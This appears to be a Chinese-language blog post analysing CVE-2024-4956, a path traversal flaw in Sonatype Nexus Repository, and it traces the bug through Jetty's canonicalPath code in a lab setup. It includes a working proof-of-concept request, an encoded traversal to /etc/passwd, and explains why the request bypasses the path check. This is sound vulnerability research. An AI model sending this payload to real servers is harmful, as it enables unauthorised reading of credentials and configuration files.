2024年5月,Nexus Repository官方Sonatype发布了新补丁,修复了一处路径穿越漏洞CVE-2024-4956。经分析,该漏洞可以通过特定的路径请求来未授权访问系统文件,进而可能导致信息泄露。该漏洞无前置条件且利用简单。
• 漏洞成因Nexus Repository仅依赖Jetty自带的方法进行请求路径的安全检查,而未进行深入的验证,导致攻击者可以利用路径穿越攻击访问文件系统上的任意位置。
• 漏洞影响成功利用这一漏洞的攻击者可以读取Nexus Repository服务器上的任意文件,这可能包括配置文件、数据库备份以及其他敏感数据。此外,特定情况下如果攻击者能够进一步利用服务器上的其他配置或漏洞,可能会完全控制受影响的服务器。
• 下载源码:nexus-public-release-3.68.0-04.zip
• vulhub启动漏洞环境,idea远程调试
根据官方的临时修复方案,删除(basedir)/etc/jetty/jetty.xml
<Set name="resourceBase"><Property name="karaf.base"/>/public</Set>
这一行 整个xml
<New id="NexusHandler" class="org.sonatype.nexus.bootstrap.jetty.InstrumentedHandler">
<Arg>
<New id="NexusWebAppContext" class="org.eclipse.jetty.webapp.WebAppContext">
<Set name="descriptor"><Property name="jetty.etc"/>/nexus-web.xml</Set>
<Set name="resourceBase"><Property name="karaf.base"/>/public</Set>
<Set name="contextPath"><Property name="nexus-context-path"/></Set>
<Set name="throwUnavailableOnStartupException">true</Set>
<Set name="configurationClasses">
<Array type="java.lang.String">
<Item>org.eclipse.jetty.webapp.WebXmlConfiguration</Item>
</Array>
</Set>
</New>
</Arg>
</New>
断点直接下在WebResourceServiceImpl
补丁删除的那块代码上⾯,这⾥以/robots.txt
路由为例⼦
跟进getResource
再次跟进,来到了ContextHandler
的getResource
⽅法,这里的_baseResource
就是jetty.xml
⾥配置的public
⽬录
继续跟进addPath
方法,这里会调用URIUtil.canonicalPath
创建了⼀个PathResource
对象准备返回
实际的uri拼接在于URIUtil.addPath函数中,注意这⾥的encodePath参数对path⼜进⾏了⼀波编码
【重点】canonicalPath 处理逻辑
这里我们直接拿poc来直接调试分析一下
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
然后我们直接走到URIUtil.canonicalPath
方法来分析
canonicalPath
方法代码如下所示,增加了详细的注释
public static String canonicalPath(String path) {
// 检查路径是否为空或空字符串
if (path != null && !path.isEmpty()) {
boolean slash = true; // 标志当前字符是否是'/'
int end = path.length(); // 获取路径的长度
int i;
label68:
// 遍历路径中的每个字符
for(i = 0; i < end; ++i) {
char c = path.charAt(i); // 获取路径中的当前字符
switch (c) {
case '.':
// 如果当前字符是'.'且前一个字符是'/'
if (slash) {
break label68; // 跳出循环
}
slash = false; // 当前字符不是'/'
break;
case '/':
slash = true; // 当前字符是'/'
break;
default:
slash = false; // 当前字符不是'/'
}
}
// 如果遍历到路径的末尾
if (i == end) {
return path; // 返回原路径
} else {
StringBuilder canonical = new StringBuilder(path.length()); // 创建一个新的字符串构建器
canonical.append(path, 0, i); // 将原路径的前i个字符复制到新的字符串构建器中
int dots = 1; // 初始化dots为1,用来计数'.'字符
++i; // 继续遍历路径
for(; i < end; ++i) {
char c = path.charAt(i); // 获取路径中的当前字符
switch (c) {
case '.':
// 如果当前字符是'.'
if (dots > 0) {
++dots; // 增加dots计数
} else if (slash) {
dots = 1; // 如果前一个字符是'/',dots置为1
} else {
canonical.append('.'); // 否则将'.'添加到新的字符串构建器中
}
slash = false; // 当前字符不是'/'
continue;
case '/':
// 如果当前字符是'/'
if (doDotsSlash(canonical, dots)) {
return null; // 如果doDotsSlash返回true,返回null
}
slash = true; // 当前字符是'/'
dots = 0; // dots置为0
continue;
}
// 将前面的'.'字符添加到新的字符串构建器中
while(dots-- > 0) {
canonical.append('.');
}
canonical.append(c); // 添加当前字符到新的字符串构建器中
dots = 0; // dots置为0
slash = false; // 当前字符不是'/'
}
// 检查剩余的'.'字符
if (doDots(canonical, dots)) {
return null; // 如果doDots返回true,返回null
} else {
return canonical.toString(); // 返回处理后的路径字符串
}
}
} else {
return path; // 如果路径为空或空字符串,直接返回
}
}
// 处理路径中的连续'.'字符和'/'字符
private static boolean doDotsSlash(StringBuilder canonical, int dots) {
if (dots == 2) {
// 如果dots为2,表示路径中有"..",需要返回上一级目录
int length = canonical.length();
if (length == 0) {
return true; // 如果字符串构建器为空,返回true表示路径无效
}
int slash = canonical.lastIndexOf("/"); // 获取最后一个'/'的位置
if (slash < 0) {
canonical.setLength(0); // 如果没有'/',清空字符串构建器
} else {
canonical.setLength(slash); // 否则将字符串构建器的长度设置为最后一个'/'的位置
}
} else if (dots == 1) {
// 如果dots为1,表示路径中有".",忽略
} else if (dots > 2) {
// 如果dots大于2,将'.'添加到字符串构建器中
while(dots-- > 0) {
canonical.append('.');
}
}
return false; // 返回false表示路径有效
}
// 处理路径中剩余的'.'字符
private static boolean doDots(StringBuilder canonical, int dots) {
if (dots == 2) {
// 如果dots为2,表示路径中有"..",需要返回上一级目录
int length = canonical.length();
if (length == 0) {
return true; // 如果字符串构建器为空,返回true表示路径无效
}
int slash = canonical.lastIndexOf("/"); // 获取最后一个'/'的位置
if (slash < 0) {
canonical.setLength(0); // 如果没有'/',清空字符串构建器
} else {
canonical.setLength(slash); // 否则将字符串构建器的长度设置为最后一个'/'的位置
}
} else if (dots == 1) {
// 如果dots为1,表示路径中有".",忽略
} else if (dots > 2) {
// 如果dots大于2,将'.'添加到字符串构建器中
while(dots-- > 0) {
canonical.append('.');
}
}
return false; // 返回false表示路径有效
}
处理斜杠:
slash
始终为 true
。遇到第一个点号:
.
),slash
为 true
,跳出循环。此时 i = 8
。**初始化 StringBuilder
**:
canonical.append(path, 0, i)
将前8个斜杠添加到 canonical
,此时 canonical = "////////"
,i=9,开始遍历剩余的路径字符。遇到点号和斜杠:
../../
模式。每次遇到 ..
后的斜杠会调用 doDotsSlash
函数。**调用 doDotsSlash
处理 ..
**:
• 每次遇到 ..
和随后的斜杠,会返回上一级目录。第一次遇到..的时候,dots = 2
,调用 doDotsSlash
:
• canonical.length() = 8
• canonical.lastIndexOf("/") = 7
(最后一个斜杠的位置)
• canonical.setLength(7)
,结果:canonical = "///////"
• 以此类推,处理 ../../../../../../../
,多次调用 doDotsSlash
函数返回上级目录,逐步移除斜杠。最终返回的路径为 /etc/passwd
。
总结规律:⼀个../可以消去⼀个/
再回头来看,只要canonicalPath
不为null, subpath是直接交给PathResource对象的,然后addPath
拼接url
其实还有一些细节也没讲到,大家可以自己多调试一些payload,了解最终的poc是怎么形成的
欢迎关注不懂安全⬇️
> 时间会告诉你,坚持的意义。